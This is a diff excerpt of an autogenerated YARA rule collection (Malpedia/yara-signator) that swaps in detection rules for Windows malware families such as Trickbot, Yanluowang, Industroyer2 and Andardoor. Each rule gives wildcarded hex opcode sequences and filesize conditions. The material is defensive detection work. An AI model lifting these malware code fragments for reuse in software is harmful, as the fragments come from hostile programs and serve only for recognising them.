-		$sequence_9 = { 7324 8d0c10 2bf2 894df0 8b4df8 2bca }
+		$sequence_0 = { 7536 8b85e8feffff 85c0 750a 68???????? }
+		$sequence_1 = { 68???????? e9???????? 83f801 750a }
+		$sequence_2 = { 83f801 750a 68???????? e9???????? 83f802 }
+		$sequence_3 = { 68e9fd0000 ffd6 8d8decfdffff 5f 8d5102 5e 668b01 }
+		$sequence_4 = { 8b442420 83c40c 83c008 836c240c01 89442414 0f85fffdffff }
+		$sequence_5 = { 8d4a10 0f1f840000000000 0f1041f0 83c020 }
+		$sequence_6 = { ffd6 50 8d85dcfdffff 50 }
+		$sequence_7 = { e8???????? 83c40c 85c0 752f 6a06 8d85c4bfffff }
+		$sequence_8 = { 51 f2c3 8b4df0 33cd f2e8bef6ffff }
+		$sequence_9 = { 83c414 e8???????? 84c0 7517 }
+		$sequence_10 = { 33c5 8945fc 56 6890010000 }
+		$sequence_11 = { 83faff 0f94c0 84c0 7405 }
+		$sequence_12 = { 83c418 83c008 03c6 8bcf }
+		$sequence_13 = { 0fb601 50 8d45d0 68???????? 50 }
+		$sequence_14 = { 83ec14 c645fc1f 8d95e8feffff 8bcc }
+		$sequence_15 = { 668bc1 8be5 5d c3 56 8bf1 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <1160192
 }
-rule MALPEDIA_Win_Mole_Auto : FILE
+rule MALPEDIA_Win_Jessiecontea_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "36f8515b-9850-5f6a-9da2-fab216acb0f1"
+		id = "526b090a-a995-58b5-b843-1e70dd71cefc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mole_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jessiecontea_auto.yar#L1-L165"
 		license_url = "N/A"
-		logic_hash = "9e8bd455bb765e10346652a5931be596133d0a24ad14fb98b5a58db6c1dd57c3"
+		logic_hash = "c68c31b644ea8b3e7ca9f4e4366853343f61b6640765616026487f548092899b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170159,34 +177316,40 @@ rule MALPEDIA_Win_Mole_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81bdf0fdffff99000000 0f8787710000 8b95f0fdffff 0fb68248c04000 ff248514c04000 81bdf0fdffffd3a7d105 0f8794000000 }
-		$sequence_1 = { 6bc000 0385bcf9ffff 898588e5ffff 837d1401 751a 68???????? 68???????? }
-		$sequence_2 = { 81bdf0fdffffcde5d405 0f8458400000 81bdf0fdffff41e6d405 0f849e440000 81bdf0fdffff44e6d405 0f84742c0000 e9???????? }
-		$sequence_3 = { e9???????? 81bdf0fdffff5625d105 0f8786000000 81bdf0fdffff5625d105 0f8494710000 81bdf0fdffffc624d105 7745 }
-		$sequence_4 = { 8d959cefffff 52 68???????? 6801000080 ff15???????? 898584efffff 8d85d4fbffff }
-		$sequence_5 = { 8d85ace4ffff 50 6a05 68???????? 8b8dc4e4ffff 51 ff15???????? }
-		$sequence_6 = { c7802ceb410002000000 6a04 58 6bc000 8b0d???????? 894c05f8 6a04 }
-		$sequence_7 = { 8d9530e2ffff 52 e8???????? 83c404 6a64 68???????? 8d85ecfbffff }
-		$sequence_8 = { 83c410 8d959cf9ffff 52 8b8590e5ffff }
-		$sequence_9 = { e8???????? e8???????? 898580f7ffff 81bd80f7ffff00300000 7575 6a00 }
+		$sequence_0 = { c78590f4ffff00000000 c7858cf4ffff00000000 c78588f4ffff00000000 c78594f4ffff01000000 c78598f4ffff01000000 e8???????? }
+		$sequence_1 = { 3d00010000 0f8f03010000 6a00 6a00 50 }
+		$sequence_2 = { 8d85e8fdffff 50 8d85a2f6ffff 50 }
+		$sequence_3 = { 57 8b7d18 8945c0 8b4510 }
+		$sequence_4 = { eb02 2bf7 6a00 8d85e8b7ffff 50 }
+		$sequence_5 = { 5d c3 c705????????31090000 5f 5e 5b 8be5 }
+		$sequence_6 = { 56 57 680a020000 8d85d8fbffff 8bf2 6a00 }
+		$sequence_7 = { 6880000000 6a01 6a00 6a01 6800000040 8d85f8fbffff 50 }
+		$sequence_8 = { 41b800080000 be20000008 e8???????? 33d2 448975c0 }
+		$sequence_9 = { 4d8bc8 4d2bcd 6690 488d82fafeff7f }
+		$sequence_10 = { 83e03f 2bc8 33c0 48d3c8 488d0d39d20100 4833c2 }
+		$sequence_11 = { 7305 44887c3710 488bcb e8???????? 397d50 7230 }
+		$sequence_12 = { ff15???????? 85c0 0f8580fcffff 488b4c2460 }
+		$sequence_13 = { 892d???????? 8b1d???????? 488d4c2430 8bfd 48896c2430 }
+		$sequence_14 = { 4889442440 33d2 4489742448 41b8ff3f0000 488d8d51070000 }
+		$sequence_15 = { 488b4d98 488d4588 4889442428 41b902000000 }
 
 	condition:
-		7 of them and filesize <297984
+		7 of them and filesize <413696
 }
-rule MALPEDIA_Win_Trickbot_Auto : FILE
+rule MALPEDIA_Win_Avcrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7ca88b89-dbe0-5ca7-acaa-87de79bf1962"
+		id = "f0c2c6c6-0e09-5b4b-89b9-13d38222f492"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.trickbot_auto.yar#L1-L637"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avcrypt_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "e3adabeebcd43d3e3c9deb0d5c4eb46cb018beaf463780980939f5dd81bffcd5"
+		logic_hash = "ac05395b3ceaf430ebcb56d0def5da87a92c07f9636a33b891b2fc3647618543"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -170198,99 +177361,32 @@ rule MALPEDIA_Win_Trickbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c002 eb0d 2500000080 f7d8 1bc0 83e007 40 }
-		$sequence_1 = { 1bc0 83e020 83c020 eb36 }
-		$sequence_2 = { eb36 2500000080 f7d8 1bc0 83e070 83c010 }
-		$sequence_3 = { f7d8 1bc0 83e002 83c002 eb0d }
-		$sequence_4 = { 83e070 83c010 eb25 a900000040 7411 2500000080 }
-		$sequence_5 = { 7429 a900000040 7411 2500000080 f7d8 1bc0 83e020 }
-		$sequence_6 = { 8b07 a900000020 7429 a900000040 }
-		$sequence_7 = { c705????????fdffffff c705????????feffffff c705????????ffffffff e8???????? }
-		$sequence_8 = { 895df4 895dec 66c745f00005 895dfc }
-		$sequence_9 = { 33ff 57 6880000000 6a02 57 6a01 68000000c0 }
-		$sequence_10 = { 41 83c028 3bce 7ce9 }
-		$sequence_11 = { 488b01 4c8b4120 488b5118 488b4910 }
-		$sequence_12 = { 53 6a03 53 6a01 6800010000 }
-		$sequence_13 = { 4889442428 488b4130 488b4910 4889442420 41ffd2 }
-		$sequence_14 = { 488b01 488b5118 488b4910 ffd0 }
-		$sequence_15 = { 4c8b4928 4c8b4120 488b5118 4889442438 488b4140 }
-		$sequence_16 = { 488b4148 4c8b11 4c8b4928 4c8b4120 }
-		$sequence_17 = { 4889442430 488b4138 4889442428 488b4130 }
-		$sequence_18 = { 488b5118 4889442440 488b4148 4889442438 488b4140 }
-		$sequence_19 = { 4889442438 488b4140 4889442430 488b4138 }
-		$sequence_20 = { 6820bf0200 68905f0100 68905f0100 50 ff15???????? }
-		$sequence_21 = { 2bc2 d1e8 03c2 c1e806 6bc05f }
-		$sequence_22 = { 83780400 7404 8b4008 c3 }
-		$sequence_23 = { 51 68e9fd0000 50 e8???????? }
-		$sequence_24 = { 6a40 6800300000 6a70 6a00 }
-		$sequence_25 = { 833800 751c 83781000 7516 }
-		$sequence_26 = { c3 6a01 ff15???????? 50 }
-		$sequence_27 = { 8b01 59 03d0 52 }
-		$sequence_28 = { 85c0 7f0b e8???????? 8b05???????? }
-		$sequence_29 = { 03d0 52 ebdc 89450c }
-		$sequence_30 = { 8bc1 66ad 85c0 741c }
-		$sequence_31 = { e8???????? 83f801 7411 ba0a000000 }
-		$sequence_32 = { 85c0 741c 3bc1 7213 }
-		$sequence_33 = { 7405 e8???????? ff15???????? 8bc3 }
-		$sequence_34 = { c1e102 2bc1 8b00 894508 }
-		$sequence_35 = { 50 8b450c ff4d0c ba28000000 }
-		$sequence_36 = { 895510 8b4a04 ff5508 8b5510 8b4a0c }
-		$sequence_37 = { 2bc1 8b00 3bc7 72f2 }
-		$sequence_38 = { 8b4a04 ff5508 50 51 }
-		$sequence_39 = { ff4d0c ba28000000 f7e2 8d9500040000 03d0 895510 }
-		$sequence_40 = { 740f 8bc8 e8???????? 8bc3 }
-		$sequence_41 = { 58 41 41 41 41 }
-		$sequence_42 = { 8bcf e8???????? 8bf0 85ed }
-		$sequence_43 = { 85c0 7911 8bc8 e8???????? bb11000000 }
-		$sequence_44 = { e8???????? 85c0 7507 e8???????? eb5b }
-		$sequence_45 = { 89742428 c744242000001f00 ff15???????? 85c0 7911 }
-		$sequence_46 = { 7c22 3c39 7f1e 0fbec0 }
-		$sequence_47 = { 3bd1 0f8293000000 038e8c000000 3bd1 0f8385000000 }
-		$sequence_48 = { ffc1 663938 75f5 6603c9 }
-		$sequence_49 = { ff15???????? 8bf0 c1ee1f 83f601 }
-		$sequence_50 = { 85d2 745b 3bd1 0f8293000000 }
-		$sequence_51 = { 41 50 2bc1 8b00 }
-		$sequence_52 = { 8bc8 33c0 85c9 0f95c0 eb02 }
-		$sequence_53 = { 894504 68f0ff0000 59 8bf7 8bd7 }
-		$sequence_54 = { 8bc7 e8???????? 85c0 0f849f000000 }
-		$sequence_55 = { 8bf7 8bd7 fc 8bc1 }
-		$sequence_56 = { 59 50 e2fd 8bc7 }
-		$sequence_57 = { 8dbf00500310 8bd6 897d08 3bc8 }
-		$sequence_58 = { 6a00 ff15???????? 6a00 6a00 6a00 8d45dc }
-		$sequence_59 = { 8b7d10 2bf9 53 50 }
-		$sequence_60 = { 83c001 8945d4 8b4dfc 51 8b55d4 }
-		$sequence_61 = { 8b4dd0 894dd8 837dd840 760b 8b55d8 }
-		$sequence_62 = { 8d3c0e 2b75f8 33c7 2bd0 ff4dfc 75ba 8b4508 }
-		$sequence_63 = { 42 42 3b5508 7202 8bd6 83c104 }
-		$sequence_64 = { bf31e7bf31 e7bf 31e7 bf31e7bf31 e7bf }
-		$sequence_65 = { 8b01 3302 52 8bd0 51 03cf 51 }
-		$sequence_66 = { 56 57 33f6 bf???????? 833cf594f3000101 }
-		$sequence_67 = { 8945cc ebee 8b45d8 48 50 8b45cc 40 }
-		$sequence_68 = { ff75f8 ff15???????? 8945fc 837dfc00 750d }
-		$sequence_69 = { 6a00 6858020000 ff15???????? 837dfc00 74ce }
-		$sequence_70 = { e8???????? 03c6 50 e8???????? 8b7710 83c40c 2bf3 }
-		$sequence_71 = { 55 8bec 83ec34 c745cc00000000 6a00 685b020000 6a00 }
-		$sequence_72 = { 42 42 8b01 83c202 33c3 890439 }
-		$sequence_73 = { 8945e4 3bc6 7305 8b750c }
-		$sequence_74 = { 9c 000f 9c 000f 9c f7a053f7a053 }
-		$sequence_75 = { 8bec e8???????? 8b4d08 e8???????? 5d c20400 }
-		$sequence_76 = { c705????????ad380001 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 }
+		$sequence_0 = { 68???????? ffd3 834dfcff 8d4dd8 56 6a01 e8???????? }
+		$sequence_1 = { 8bc7 8bcf c1f805 83e11f c1e106 030c8580b54300 eb05 }
+		$sequence_2 = { 8d4dc0 56 e8???????? 59 6a0e 33f6 5b }
+		$sequence_3 = { c705????????70484300 c705????????8cbf4300 890d???????? 8935???????? }
+		$sequence_4 = { 50 ff15???????? 83c8ff e9???????? 57 6a09 59 }
+		$sequence_5 = { ff15???????? 85c0 7507 68???????? ffd6 895de4 837dd000 }
+		$sequence_6 = { 68???????? e8???????? 83ec18 c745fc15000000 8bcc 8965d4 53 }
+		$sequence_7 = { c645fc0e 837db800 7519 68???????? 8d8d78ffffff e8???????? }
+		$sequence_8 = { e8???????? 68???????? 8d8d84feffff c645fc08 e8???????? 68???????? 8d8d9cfeffff }
+		$sequence_9 = { e8???????? c645fc01 8b5de0 85db 7404 8b13 }
 
 	condition:
-		7 of them and filesize <712704
+		7 of them and filesize <6160384
 }
-rule MALPEDIA_Win_Unidentified_070_Auto : FILE
+rule MALPEDIA_Win_Shakti_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7ae3ca74-0486-51ae-ba4c-20ff0ab01fe5"
+		id = "535cf33d-f06d-5859-b025-0ff160716ffb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_070_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shakti_auto.yar#L1-L172"
 		license_url = "N/A"
-		logic_hash = "bd634ade531926df7fb9636e5fb1e66cb3297f9900a01fa2493788383a51b75e"
+		logic_hash = "6f5489cc7281ed05aa1395fcaba968324612a285b4f1d07b39699fdb3c984697"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170304,32 +177400,38 @@ rule MALPEDIA_Win_Unidentified_070_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a04 50 ff15???????? 8945fc 85c0 }
-		$sequence_1 = { 6a00 6a00 6a04 50 ff15???????? 8945fc 85c0 }
-		$sequence_2 = { 33c0 c20400 3b0d???????? 7502 }
-		$sequence_3 = { 6a00 6a04 50 ff15???????? 8945fc }
-		$sequence_4 = { 6a00 6a04 50 ff15???????? 8945fc 85c0 }
-		$sequence_5 = { 6a00 6a00 6a00 6a04 50 ff15???????? 8945fc }
-		$sequence_6 = { 6a00 6a00 6a04 50 ff15???????? 8945fc }
-		$sequence_7 = { 6a00 8d45f4 50 ff75fc 57 56 }
-		$sequence_8 = { 8bf9 c78424cc00000000000000 66c78424d00000000010 e8???????? 83c40c 8d442424 50 }
-		$sequence_9 = { 6a00 56 ff15???????? 8945f8 85c0 0f8493000000 6a00 }
+		$sequence_0 = { 8945ec 8b4dd4 83c102 894dd4 e9???????? 8b55c0 }
+		$sequence_1 = { 0fb711 81fa4d5a0000 752e 8b45c0 8b483c }
+		$sequence_2 = { 8b45fc 8b4dd8 0308 894df0 8b55fc }
+		$sequence_3 = { 0fb7c2 83f801 753d b9ff0f0000 8b55f0 66230a 0fb7c1 }
+		$sequence_4 = { 8b45c0 03423c 8945f8 6a40 }
+		$sequence_5 = { 52 6a00 ff55e4 8945d8 8b45f8 8b4854 894de0 }
+		$sequence_6 = { 8b45e0 8b0c10 034dc0 baff0f0000 8b45f0 }
+		$sequence_7 = { 8b55f8 0355c0 8955f8 8b45f8 }
+		$sequence_8 = { 8b742408 85f6 741e 803e00 7512 ff760c e8???????? }
+		$sequence_9 = { ff34c5b4a24000 53 57 e8???????? 83c40c 85c0 }
+		$sequence_10 = { 50 ff759c ff15???????? 85c0 740d 837d9000 }
+		$sequence_11 = { 8bff 55 8bec 8b4508 33c9 3b04cd10a04000 7413 }
+		$sequence_12 = { ff15???????? 89459c 83f8ff 7507 32c0 e9???????? 57 }
+		$sequence_13 = { bf04010000 57 8d860e080000 50 6a00 }
+		$sequence_14 = { 6a08 50 890d???????? ff15???????? }
+		$sequence_15 = { 837dd400 a1???????? 7423 c700b8000000 a1???????? }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <191488
 }
-rule MALPEDIA_Win_Yanluowang_Auto : FILE
+rule MALPEDIA_Win_Unidentified_109_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f8b88dbc-f363-5fc7-a947-363c58e30984"
+		id = "c4f891e4-f77b-5dbc-bacf-3b1d550b883c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yanluowang_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_109_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "6b0c4fbf1cf464112256b7ec1836b8a801dfd07954f33f682759e2bccef6aa82"
+		logic_hash = "553f5c1aaae307ba70f86b75a4cbec28cc4c8b523dbd68b695bc6b2028248608"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170343,32 +177445,32 @@ rule MALPEDIA_Win_Yanluowang_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 c745c8eca14400 c745cc02000000 e8???????? 8d45f8 50 8d8578ffffff }
-		$sequence_1 = { 7402 8913 8d510c 33ff 85d2 7402 }
-		$sequence_2 = { 85c1 750c 3bd1 1bd2 23d0 23542430 }
-		$sequence_3 = { 85c0 7402 8908 8b55d8 8d4804 33d6 85c9 }
-		$sequence_4 = { 8b048528c44500 6975d007536554 33048d28c04500 8945c0 8b45f8 8b4dc0 c1e808 }
-		$sequence_5 = { 8b4508 8bd6 33d7 f7d6 }
-		$sequence_6 = { 83c438 c645fc14 8d8d78eeffff ffb5e8eeffff ffb5b8eeffff ffb5b4eeffff ffb57ceeffff }
-		$sequence_7 = { 8b01 85c0 0f84cc2b0200 83f808 7d0f 6bc018 }
-		$sequence_8 = { 84ff 7557 8b95acf5ffff 8bc2 8b8da8f5ffff 2bc1 }
-		$sequence_9 = { 337dc8 8b4514 85c0 7402 8938 8d7904 33d2 }
+		$sequence_0 = { 488d55df 488d4df7 4c8d45f7 e8???????? 8bf0 85c0 }
+		$sequence_1 = { 7405 85db 0f44d8 0fb68fa2030000 0fbe45ab 3bc1 7e11 }
+		$sequence_2 = { e8???????? 488bcb e8???????? 488bdf 4885ff 75b5 488b742430 }
+		$sequence_3 = { 8b07 418b09 4883c704 4d8d4904 480fafcd 4803c8 418bc0 }
+		$sequence_4 = { 2b8300010000 3bc5 7312 8bd5 488bcb e8???????? 85c0 }
+		$sequence_5 = { 4c8b3a 4c8be1 4c8bea 488d4c2420 41b8a8040000 33d2 }
+		$sequence_6 = { 23c6 440bf0 8d040a 418bd3 4403f0 418bc3 c1c80b }
+		$sequence_7 = { eb77 418d41ff 4863c8 488d048f 33ff 4d8d048a }
+		$sequence_8 = { 0f8462020000 83b90001000000 7621 e8???????? 89834c020000 85c0 0f8550020000 }
+		$sequence_9 = { 4289449efc 4c3bdd 7c8b 8b442450 8b0b 4c8b742420 8903 }
 
 	condition:
-		7 of them and filesize <834560
+		7 of them and filesize <723968
 }
-rule MALPEDIA_Win_Mokes_Auto : FILE
+rule MALPEDIA_Win_Industroyer2_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5228f490-0d80-56e9-a8cc-72e35ac44ea7"
+		id = "01c28e59-8cb1-5bf1-9de6-64ce0dd77d4a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mokes_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industroyer2_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "be97fd0567c8d98c1350b6cf1d21361ab6916096a99c6915f04160ab0a34cb53"
+		logic_hash = "bbf01a0f560944dbb85cdfc8fdeff74a884348b77c6b1a1a74790ea421be78c4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170382,32 +177484,32 @@ rule MALPEDIA_Win_Mokes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f6c101 0f85b0000000 8b442424 8b00 3d???????? 0f849f000000 8b4804 }
-		$sequence_1 = { f20f1001 660f2fc1 0f28c3 f20f5cc7 0f47c1 f20f1008 f20f59c2 }
-		$sequence_2 = { ff9050010000 8b8bac010000 8d83ac010000 89442424 85c9 740b 83790400 }
-		$sequence_3 = { ff5030 89442410 83f8ff 7512 8b4508 c700???????? 5f }
-		$sequence_4 = { f20f1025???????? f30fe6db f30fe6d2 f30fe6c9 f30fe6c0 f20f59dc f20f59d4 }
-		$sequence_5 = { ffd0 8d4900 3d???????? 0f84cb000000 8b00 85c0 75ef }
-		$sequence_6 = { e8???????? 8d4e14 e8???????? 8d4e34 e8???????? 5f 5e }
-		$sequence_7 = { ff750c c70000000000 e8???????? 8b4508 8bce c706???????? c74608???????? }
-		$sequence_8 = { e8???????? 8b75e4 8b4e0c 03ce 8b4604 8d0445feffffff 50 }
-		$sequence_9 = { f20f1005???????? 660f2fc1 0f82ac010000 f20f108e88000000 f20f109690000000 f20f5c9680000000 f20f5c4e78 }
+		$sequence_0 = { 732c 837df800 7426 8b45fc 8b4df4 8b1481 89559c }
+		$sequence_1 = { 89480c 8b55fc 8b451c 894210 694d18a0860100 034d1c }
+		$sequence_2 = { eb07 c745d000000000 8b4508 8a4dd0 888845000100 }
+		$sequence_3 = { 8b4d08 e8???????? 8945fc 68???????? 8b4508 50 }
+		$sequence_4 = { 885103 8b45fc 8b4804 8b551c 8b8238000100 894104 8b4dfc }
+		$sequence_5 = { c1e200 8b45fc 8b4d08 8a1411 885005 b801000000 d1e0 }
+		$sequence_6 = { 8b4df0 51 ff15???????? 85c0 7406 c645ff01 eb04 }
+		$sequence_7 = { c6400c00 8b4dfc c641140a 6a04 8b55fc 83c210 52 }
+		$sequence_8 = { 837df800 742c 8b55fc 8b45f4 8b0c90 898d78ffffff 8b9578ffffff }
+		$sequence_9 = { 8b45fc 50 e8???????? 0fb6c8 85c9 7444 68???????? }
 
 	condition:
-		7 of them and filesize <18505728
+		7 of them and filesize <100352
 }
-rule MALPEDIA_Win_Kgh_Spy_Auto : FILE
+rule MALPEDIA_Win_Andardoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "95e1000f-6599-59f6-ad77-7fb1f63fc7e2"
+		id = "a2062653-6e94-5023-8019-c5f17c84046c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kgh_spy_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andardoor_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "c99afdfd1b207e301e0a54b515065ba98af784202a9cd5e6f9a55bcba5a38dab"
+		logic_hash = "3510472d198d8ac0d724063f8fb842ce0d2281170e5fd2c286cfefa5f50dca2c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170421,32 +177523,32 @@ rule MALPEDIA_Win_Kgh_Spy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b442428 8b4c2430 894808 e9???????? 4883c458 5f }
-		$sequence_1 = { 75e2 488b842498000000 89442460 8b442468 8b4c2460 488b542470 4803d1 }
-		$sequence_2 = { 488d8c24b0000000 ff15???????? 85c0 0f8547010000 0fb705???????? }
-		$sequence_3 = { 488d8424300a0000 4889842488000000 48c7442450ffffffff 48ff442450 }
-		$sequence_4 = { 488b4c2468 803c0800 75e8 488b442468 488d8c24c0000000 48898c2498000000 48c7442470ffffffff }
-		$sequence_5 = { f3aa 488d4c2428 ff15???????? 0fb7442428 83f809 740a 0fb7442428 }
-		$sequence_6 = { 488d8424f0030000 488bf8 33c0 b908020000 f3aa 4c8d0df7e30000 }
-		$sequence_7 = { 4885c0 7403 f0ff00 488d4128 41b806000000 488d15b4a30000 483950f0 }
-		$sequence_8 = { 8bc8 e8???????? 48898424d8000000 48c744242000000000 4c8d8c2470010000 448b442468 }
-		$sequence_9 = { 488d1dddab0000 483bcb 740c e8???????? }
+		$sequence_0 = { 4c8d8c2400020000 33d2 0f1f8000000000 410fb60c11 880c10 488d5201 84c9 }
+		$sequence_1 = { 6690 488bcb ff15???????? a810 741f 40383d???????? 0f84d0000000 }
+		$sequence_2 = { 48895c2458 ff15???????? 85c0 752b 488b0d???????? 4885c9 7406 }
+		$sequence_3 = { 4881ecf0030000 0f2970d8 0f2978c8 488b05???????? }
+		$sequence_4 = { 0f2970d8 0f2978c8 488b05???????? 4833c4 488985c0020000 }
+		$sequence_5 = { 41b880000000 e8???????? 4533c9 4c8d442430 }
+		$sequence_6 = { b943150000 6689742468 ff15???????? 668944246a 41b810000000 }
+		$sequence_7 = { 488bf8 4885c0 0f84ed000000 b943150000 6689742468 ff15???????? }
+		$sequence_8 = { 488bf9 33d2 33c9 498bf0 ff15???????? 85c0 7407 }
+		$sequence_9 = { 488bcf ff15???????? 488bf8 488d4ffe }
 
 	condition:
-		7 of them and filesize <207872
+		7 of them and filesize <339968
 }
-rule MALPEDIA_Win_Royal_Dns_Auto : FILE
+rule MALPEDIA_Win_Gacrux_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e27ee32-9aaf-59db-953d-0696af40bcce"
+		id = "0c66c13b-77d9-5c78-ab68-75b7e55560db"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royal_dns_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gacrux_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "f281d4e3be759adcb32b06448d83aa5fdafcb96a4b912bbb46b43de4955e29ec"
+		logic_hash = "bb1a910d98caf8e19645b8aead4c6d896507b388f794dfe868a61d77f59f135d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170460,32 +177562,32 @@ rule MALPEDIA_Win_Royal_Dns_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 8b4dfc 8b85b4fcffff 83c404 }
-		$sequence_1 = { e8???????? 83c40c 8bc6 eb15 8d8da1f1ffff }
-		$sequence_2 = { ff15???????? 3d02010000 8b85e0fdffff 7533 6a00 50 }
-		$sequence_3 = { 4a 759a 8b55fc 85ff 7468 0fb606 c1e802 }
-		$sequence_4 = { 0fb61406 c1ea03 0fb69248132500 8811 0fb61c06 0fb6540601 c1ea06 }
-		$sequence_5 = { 80e301 0ac3 8845ed 8a45f8 8ad8 8345e805 }
-		$sequence_6 = { 8d8dfcfeffff 83c40c 33c0 2bd1 }
-		$sequence_7 = { 7504 33c0 eb0a 0fb6c8 }
-		$sequence_8 = { 0fb61c30 0fb6543001 03db 03db c1ea06 0bd3 }
-		$sequence_9 = { 8a17 8816 47 46 48 }
+		$sequence_0 = { 0f848e000000 41 83482120 49 8b01 49 83c108 }
+		$sequence_1 = { 894808 48 8b4c2430 48 894810 8b4c2444 }
+		$sequence_2 = { 48 03ca 849c013c010000 740b 41 81cb00300000 45 }
+		$sequence_3 = { 6bc838 48 8b05???????? 8b540120 c1ea02 1bd2 3bd6 }
+		$sequence_4 = { 7543 48 85db 7409 }
+		$sequence_5 = { 8b3a 48 8bcd 48 c1e91d 48 8bc5 }
+		$sequence_6 = { 41 ffc1 49 83c204 41 81f900010000 }
+		$sequence_7 = { 0fb7ee 66c1ed08 45 8a780c 45 8bda 45 }
+		$sequence_8 = { 56 41 57 48 83ec50 49 63e8 }
+		$sequence_9 = { 4d 033e 45 0fb6ed 49 8bcf }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Stresspaint_Auto : FILE
